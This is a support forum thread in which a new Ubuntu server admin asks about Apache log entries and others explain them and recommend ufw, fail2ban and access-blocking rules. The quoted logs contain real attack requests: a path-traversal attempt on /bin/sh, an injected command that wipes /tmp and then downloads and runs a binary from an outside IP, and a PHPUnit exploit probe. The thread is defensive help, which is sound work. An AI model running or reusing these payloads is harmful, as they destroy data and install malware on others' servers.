Understanding Server Logs

Algaris · 2022-02-17 10:13:47

In an attempt to expand my Ubuntu Server experience I’ve started poking around my logs and have been looking at the Apache2 error logs.

Could anyone explain what is happening here:

[Wed Feb 16 07:10:12.682337 2022] [core:error] [pid 2816247] [client 45.146.165.37:55984] AH00126: Invalid URI in request POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1

I can tell they’re scanning the server for exploits but I’m unsure what they are looking for or attempting to do.

I also found these in my Apache2 access log but I’m unsure what they mean.

170.239.110.92 - - [16/Feb/2022:00:22:54 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ http://23.94.7.175/.s4y/arm;sh+/tmp/arm" 400 503 "-" "-"

45.146.165.37 - - [16/Feb/2022:01:51:56 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"

—Edit—
The more I dig into the logs the more overwhelmed I feel. I don’t understand half of what I’m reading. I keep seeing what looks like people trying to hack my server, numerous requests to access files listed in the access logs, and shell commands from IP addresses that appear to be coming from Russia.

=(

Last edited by Algaris (2022-02-17 11:54:48)

gaekwad · 2022-02-17 12:49:42

Algaris wrote #332768:

Could anyone explain what is happening here:

[Wed Feb 16 07:10:12.682337 2022] [core:error] [pid 2816247] [client 45.146.165.37:55984] AH00126: Invalid URI in request POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1...

I can tell they’re scanning the server for exploits but I’m unsure what they are looking for or attempting to do.

They’re trying to pop a shell (i.e open /bin/sh) on your server. The cgi-bin directory can likely be deleted if you’re not actively using it (check the contents first). You could also add an Apache block to anything (bots, humans, other) accessing it if you’re not using it.

I also found these in my Apache2 access log but I’m unsure what they mean.

170.239.110.92 - - [16/Feb/2022:00:22:54 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ http://23.94.7.175/.s4y/arm;sh+/tmp/arm" 400 503 "-" "-"...

That appears to want to pop a different shell, switch to /tmp, wipe the contents, then download something from a web server at the 23.94.x.x address, then run it.

45.146.165.37 - - [16/Feb/2022:01:51:56 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"...

That’s checking for vulnerable versions of eval-stdin.php as per CVE-2017-9841

—Edit—
The more I dig into the logs the more overwhelmed I feel. I don’t understand half of what I’m reading. I keep seeing what looks like people trying to hack my server, numerous requests to access files listed in the access logs, and shell commands from IP addresses that appear to be coming from Russia.

Don’t lose heart. You’re doing just fine. I was exactly where you were a few years ago, and it drove me nuts…the burden of knowledge you have when you start to understand all this stuff can be overwhelming.

At a higher level, look into this stuff as a priority to give yourself some peace of mind:

ufw
fail2ban

Broad strokes: let the machine do the work. If bots get a bit frisky, sin bin them.

gaekwad wrote:

The cgi-bin directory can likely be deleted if you’re not actively using it.

Where would I find the cgi-bin directory I tried cd /cgi-bin but it’s not in the root. Would it be in /var/www/html? I had a quick look and it isn’t there either.

gaekwad wrote:

You could also add an Apache block to anything (bots, humans, other) accessing it if you’re not using it.

How would I go about doing that. I’ve been reading through the Apache docs about Access Control but they are so opaque and unfriendly to beginners. I noticed they mentioned using something called mod_authz_host.

Sorry I know Apache isn’t your thing as you’re all in on Nginx. I should probably take a look at it one day. The software we use at work was written with Apache in mind and all the docs assume that we’ll be using it, which is why I’ve gone down the Apache root.

ufw, fail2ban, and Apache Ultimate Bad Bot Blocker look really interesting. I don’t mind taking the sledge hammer approach of Bad Bot Blocker if it won’t interfere with legitimate traffic, I’d much rather have peace of mind.

gaekwad wrote:

You may see hits for .env and /.git/config, they’re sniffing for credentials. You can stop these by responding with a 4xx error (I use 444) for anything beginning with a . character. I’m not an Apache person these days, but this might help: gist.github.com/lynt-smitka/1ce5c4bb3a8d251df0b3268019787664

Interesting I’ll take a look at that and see if I can figure it out.

gaekwad wrote:

I see a lot of Wordpress sniffing – login page …you could find a way for Apache to block any hits that begin with /wp-, for example, given you’re not using Wordpress (I assume).

Yeah I’ve noticed that too. Blocking /wp- sounds like a good idea. Thankfully I’m not running WordPress.

gaekwad wrote:

Further addendum, here’s yesterday’s hits in the ‘undefined server’ (i.e. something hits our web server without a valid domain) log: gist.github.com/petecooper/00cb9e8c0ed27f3fb4ff4fbf23e3eea4

If you check line 114 you’ll see a request for the /tmp/arm thing you had in your logs…we had the same request

Interesting, thank you for the additional information that was useful.

——

Part of my worry looking through all of the hacking attempts is how do I know if they’ve been successful? If they have I currently have no idea how to go about cleaning them up. I’m assuming that if an entry is in the Apache error log the attempt has been unsuccessful, but what does it mean if a hacking attempt is listed in the Apache access logs?

Again thank you for your reply, it’s been exceptionally helpful. I feel that I’ve only scratched the surface with this as I’ve only taken a look at a days worth of logs for the Apache error and Access logs.

Last edited by Algaris (2022-02-21 15:24:32)

gaekwad · 2022-02-22 18:45:52

Algaris wrote #332785:

Where would I find the cgi-bin directory I tried cd /cgi-bin but it’s not in the root. Would it be in /var/www/html? I had a quick look and it isn’t there either.

It likely doesn’t exist if it’s not immediately with the rest of your web stuff, so no action to take. There was no obvious HTTP response code in the original error, so it’s not clear if it was there or not. All good!

How would I go about doing that. I’ve been reading through the Apache docs about Access Control but they are so opaque and unfriendly to beginners. I noticed they mentioned using something called mod_authz_host.

This is the main reason I moved away from Apache when I had the chance, it just seemed so obtuse to my brain, compared to the “a spade is a spade” approach for Nginx. With that in mind, bear with me since I’m rusty at Apache…

I don’t think you need a mod to block files, unless things have changed in the last few years. If you’re using Apache 2.4, I think this should work to block lots of commonly-snooped files beginning with a .:

# block directory listings
Options -Indexes

# block dotfiles {blame gaekwad if this makes stuff explode}
<Files ~ "\.(env|config.js|gitattributes|gitignore|json|lock|md)$">
    Order allow,deny
    Deny from all
</Files>

That stuff needs to go into either a) /etc/apache2/apache.conf to be global, or b) your site’s .htaccess file.

ufw, fail2ban, and Apache Ultimate Bad Bot Blocker look really interesting. I don’t mind taking the sledge hammer approach of Bad Bot Blocker if it won’t interfere with legitimate traffic, I’d much rather have peace of mind.

I think your safest route here would be to spin up a dev server or mirror, iterate with one of the above and then deploy to production when you’re happy. And don’t deploy on Friday…

My usual ufw rules are pretty straightforward: allow web traffic on ports 80 and 443; allow ssh on a low, non-standard port; allow ports 25 and 465 for SMTP email; allow port 53 for DNS; and allow a port for me to access Netdata remotely (with password auth).

So, in my case (Ubuntu LTS)…install ufw: sudo apt install -y ufw…then activate it: sudo ufw enable. You will have will prompts requiring your input. Then allow access to ssh (assuming you’re using it): sudo ufw allow 22/tcp (or whatever port you’re running ssh on instead of 22)…again you will have prompts. Same again for DNS stuff: sudo ufw allow 53/tcp. And ditto for web traffic: sudo ufw allow 80/tcp (http) & sudo ufw allow 443/tcp (https). Allow for prompts.

When you get sick of prompts asking you to confirm things you’re sure you want to do, you find out that yes exists, then you get cocky:

yes | sudo ufw allow 80/tcp

That yes program spews out y + Enter for as long as it’s running. It’s also a good way to add load to a server. A few instances of yes, one per terminal session, and you can redline a CPU a little too easily. Try your dev server…

Part of my worry looking through all of the hacking attempts is how do I know if they’ve been successful? If they have I currently have no idea how to go about cleaning them up. I’m assuming that if an entry is in the Apache error log the attempt has been unsuccessful, but what does it mean if a hacking attempt is listed in the Apache access logs?

The dirty secret about knowing is: you kinda don’t until you find evidence of it. You can run malware scans, you can have scripts that monitor changes to filesystems, you can have as much database logging as you need…and you’ll find out when you least expect it. Bluntly, if you have an obscure web app (hi, Textpattern!), you’re more likely to find bots scanning for vulnerabilities in the underlying tech rather than the application itself. It would be worth talking the the developer or vendor of the app you’re using to see what the scaffolding is, in whatever language it uses.

You’re not going to get to to expert level quickly, but if you know some bits you’re doing much better than many or most admins. Heck, there have been a few times I’ve broken something around here because it worked fine in dev but exploded in production. You get good at backups, crib sheets, notes, all of that…and iteration is the key. Do a bit, learn a bit, do it a bit better, learn some more. Start a plain text document with stuff you learn that comes in handy. This will grow over time, and it’ll be very useful as you learn new things. I started with a text file a bunch of years ago, and it expanded into directories, muliple text files, namespacing for files, and it has its own revision control as a private Git repo, so when I break something, I just roll back to the known-good version and – POOF! – we’re back.

Bloke · 2022-02-22 19:13:52

> you can have scripts that monitor changes to filesystems

Yep. And for Textpattern, or monitoring any files in your web accessible directories, there’s smd_prognostics. Needs some visual love but it still works.

Algaris · 2022-03-04 14:53:13

Thank you so much Pete and Bloke. That’s a huge amount of information for me to work through and digest I’m exceptionally grateful.

I feel like I’ve been set a load of homework to complete 😉

Textpattern CMS

Textpattern CMS support forum

#1 2022-02-17 10:13:47